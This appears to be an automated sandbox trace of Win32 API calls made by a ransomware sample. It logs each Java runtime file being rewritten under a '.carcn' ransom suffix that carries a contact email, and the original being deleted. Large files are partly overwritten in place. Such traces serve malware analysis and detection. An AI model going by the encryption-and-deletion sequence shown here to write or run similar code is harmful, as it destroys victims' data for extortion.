SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0305.745] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0305.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.745] lstrlenW (lpString=".doc") returned 4 [0305.745] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0305.745] lstrlenW (lpString=".docx") returned 5 [0305.745] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0305.745] lstrlenW (lpString=".pdf") returned 4 [0305.745] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0305.745] lstrlenW (lpString=".xls") returned 4 [0305.745] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0305.745] lstrlenW (lpString=".xlsx") returned 5 [0305.745] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0305.745] lstrlenW (lpString=".ppt") returned 4 [0305.745] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0305.745] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.745] lstrlenW (lpString=".zip") returned 4 [0305.745] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0305.746] lstrlenW (lpString=".rar") returned 4 [0305.746] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0305.746] lstrlenW (lpString=".bz2") returned 4 [0305.746] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0305.746] lstrlenW (lpString=".7z") returned 3 [0305.746] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0305.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.746] lstrlenW (lpString=".dbf") returned 4 [0305.746] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0305.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.746] lstrlenW (lpString=".1cd") returned 4 [0305.746] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0305.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.746] lstrlenW (lpString=".jpg") returned 4 [0305.746] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0305.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.746] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.746] lstrlenW (lpString=".doc") returned 4 [0305.746] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0305.746] lstrlenW (lpString=".docx") returned 5 [0305.746] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0305.746] lstrlenW (lpString=".pdf") returned 4 [0305.746] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0305.746] lstrlenW (lpString=".xls") returned 4 [0305.746] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0305.746] lstrlenW (lpString=".xlsx") returned 5 [0305.747] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0305.747] lstrlenW (lpString=".ppt") returned 4 [0305.747] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0305.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.747] lstrlenW (lpString=".zip") returned 4 [0305.747] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0305.747] lstrlenW (lpString=".rar") returned 4 [0305.747] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0305.747] lstrlenW (lpString=".bz2") returned 4 [0305.747] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0305.747] lstrlenW (lpString=".7z") returned 3 [0305.747] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0305.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.747] lstrlenW (lpString=".dbf") returned 4 [0305.747] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0305.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.747] lstrlenW (lpString=".1cd") returned 4 [0305.747] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0305.747] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0305.747] lstrlenW (lpString=".jpg") returned 4 [0305.747] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0305.747] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0305.747] lstrlenW (lpString="unpack.dll") returned 10 [0305.748] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0305.748] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=79936) returned 1 [0305.748] CloseHandle (hObject=0x388) returned 1 [0305.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 0x20 [0305.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0305.749] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0305.749] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.749] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0305.749] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0305.749] GetLastError () returned 0x0 [0305.749] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x13840, lpOverlapped=0x0) returned 1 [0306.181] WriteFile (in: hFile=0x344, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x13850, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x13850, lpOverlapped=0x0) returned 1 [0306.184] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.184] WriteFile (in: hFile=0x344, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0306.184] SetEndOfFile (hFile=0x344) returned 1 [0306.185] CloseHandle (hObject=0x344) returned 1 [0306.185] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.185] SetEndOfFile (hFile=0x388) returned 1 [0306.186] CloseHandle (hObject=0x388) returned 1 [0306.186] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.186] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack.dll")) returned 1 [0306.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.187] lstrlenW (lpString=".doc") returned 4 [0306.187] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.187] lstrlenW (lpString=".docx") returned 5 [0306.187] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0306.187] lstrlenW (lpString=".pdf") returned 4 [0306.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.187] lstrlenW (lpString=".xls") returned 4 [0306.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.187] lstrlenW (lpString=".xlsx") returned 5 [0306.187] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0306.187] lstrlenW (lpString=".ppt") returned 4 [0306.187] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.187] lstrlenW (lpString=".zip") returned 4 [0306.187] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.187] lstrlenW (lpString=".rar") returned 4 [0306.187] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.187] lstrlenW (lpString=".bz2") returned 4 [0306.187] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.187] lstrlenW (lpString=".7z") returned 3 [0306.187] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.187] lstrlenW (lpString=".dbf") returned 4 [0306.187] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.188] lstrlenW (lpString=".1cd") returned 4 [0306.188] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.188] lstrlenW (lpString=".jpg") returned 4 [0306.188] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.188] lstrlenW (lpString=".doc") returned 4 [0306.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString=".docx") returned 5 [0306.188] lstrcmpiW (lpString1=".docx", lpString2="k.dll") returned -1 [0306.188] lstrlenW (lpString=".pdf") returned 4 [0306.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString=".xls") returned 4 [0306.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString=".xlsx") returned 5 [0306.188] lstrcmpiW (lpString1=".xlsx", lpString2="k.dll") returned -1 [0306.188] lstrlenW (lpString=".ppt") returned 4 [0306.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.188] lstrlenW (lpString=".zip") returned 4 [0306.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString=".rar") returned 4 [0306.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.188] lstrlenW (lpString=".bz2") returned 4 [0306.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.188] lstrlenW (lpString=".7z") returned 3 [0306.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.189] lstrlenW (lpString=".dbf") returned 4 [0306.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.189] lstrlenW (lpString=".1cd") returned 4 [0306.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.189] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack.dll") returned 49 [0306.189] lstrlenW (lpString=".jpg") returned 4 [0306.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.189] lstrcmpiW (lpString1=".properties", lpString2=".carcn") returned 1 [0306.189] lstrlenW (lpString="calendars.properties") returned 20 [0306.189] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0306.190] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=1378) returned 1 [0306.190] CloseHandle (hObject=0x388) returned 1 [0306.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0306.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0306.190] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.190] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.190] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0306.191] GetLastError () returned 0x0 [0306.191] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x562, lpOverlapped=0x0) returned 1 [0306.192] WriteFile (in: hFile=0x344, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x570, lpOverlapped=0x0) returned 1 [0306.193] ReadFile (in: hFile=0x388, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0306.193] WriteFile (in: hFile=0x344, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xfc, lpOverlapped=0x0) returned 1 [0306.193] SetEndOfFile (hFile=0x344) returned 1 [0306.193] CloseHandle (hObject=0x344) returned 1 [0306.193] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.193] SetEndOfFile (hFile=0x388) returned 1 [0306.194] CloseHandle (hObject=0x388) returned 1 [0306.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0306.195] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0306.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.195] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.195] lstrlenW (lpString=".doc") returned 4 [0306.195] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.195] lstrlenW (lpString=".docx") returned 5 [0306.195] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.195] lstrlenW (lpString=".pdf") returned 4 [0306.195] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.195] lstrlenW (lpString=".xls") returned 4 [0306.195] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.195] lstrlenW (lpString=".xlsx") returned 5 [0306.196] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.196] lstrlenW (lpString=".ppt") returned 4 [0306.196] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.196] lstrlenW (lpString=".zip") returned 4 [0306.196] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString=".rar") returned 4 [0306.196] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString=".bz2") returned 4 [0306.196] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString=".7z") returned 3 [0306.196] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.196] lstrlenW (lpString=".dbf") returned 4 [0306.196] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.196] lstrlenW (lpString=".1cd") returned 4 [0306.196] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.196] lstrlenW (lpString=".jpg") returned 4 [0306.196] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.196] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.196] lstrlenW (lpString=".doc") returned 4 [0306.196] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0306.196] lstrlenW (lpString=".docx") returned 5 [0306.196] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0306.196] lstrlenW (lpString=".pdf") returned 4 [0306.196] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString=".xls") returned 4 [0306.197] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString=".xlsx") returned 5 [0306.197] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0306.197] lstrlenW (lpString=".ppt") returned 4 [0306.197] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.197] lstrlenW (lpString=".zip") returned 4 [0306.197] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString=".rar") returned 4 [0306.197] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString=".bz2") returned 4 [0306.197] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString=".7z") returned 3 [0306.197] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0306.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.197] lstrlenW (lpString=".dbf") returned 4 [0306.197] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.197] lstrlenW (lpString=".1cd") returned 4 [0306.197] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0306.197] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0306.197] lstrlenW (lpString=".jpg") returned 4 [0306.197] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0306.197] lstrcmpiW (lpString1=".jar", lpString2=".carcn") returned 1 [0306.197] lstrlenW (lpString="charsets.jar") returned 12 [0306.198] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0306.198] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=3036922) returned 1 [0306.198] CloseHandle (hObject=0x388) returned 1 [0306.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar")) returned 0x20 [0306.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0306.199] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0306.199] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0306.200] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0x0) returned 1 [0306.200] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0306.200] ReadFile (in: hFile=0x388, lpBuffer=0x428d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x428d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0306.224] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0306.224] ReadFile (in: hFile=0x388, lpBuffer=0x42cd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x42cd058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0306.237] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38bfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0306.237] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc24 | out: lpNewFilePointer=0x0) returned 1 [0306.237] ReadFile (in: hFile=0x388, lpBuffer=0x430d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38bfc30, lpOverlapped=0x0 | out: lpBuffer=0x430d058*, lpNumberOfBytesRead=0x38bfc30*=0x40000, lpOverlapped=0x0) returned 1 [0306.512] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0306.512] WriteFile (in: hFile=0x388, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x38bfca8, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfca8*=0xc0104, lpOverlapped=0x0) returned 1 [0307.145] SetEndOfFile (hFile=0x388) returned 1 [0307.192] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x40000) returned 0x44548b0 [0307.249] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0307.249] WriteFile (in: hFile=0x388, lpBuffer=0x44548b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x44548b0*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0307.251] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xf7253, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0307.251] WriteFile (in: hFile=0x388, lpBuffer=0x44548b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x44548b0*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0307.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x2a56fa, lpNewFilePointer=0x0, dwMoveMethod=0x38bfc74 | out: lpNewFilePointer=0x0) returned 1 [0307.303] WriteFile (in: hFile=0x388, lpBuffer=0x44548b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38bfc80, lpOverlapped=0x0 | out: lpBuffer=0x44548b0*, lpNumberOfBytesWritten=0x38bfc80*=0x40000, lpOverlapped=0x0) returned 1 [0307.306] HeapFree (in: hHeap=0x700000, dwFlags=0x0, lpMem=0x44548b0 | out: hHeap=0x700000) returned 1 [0307.308] CloseHandle (hObject=0x388) returned 1 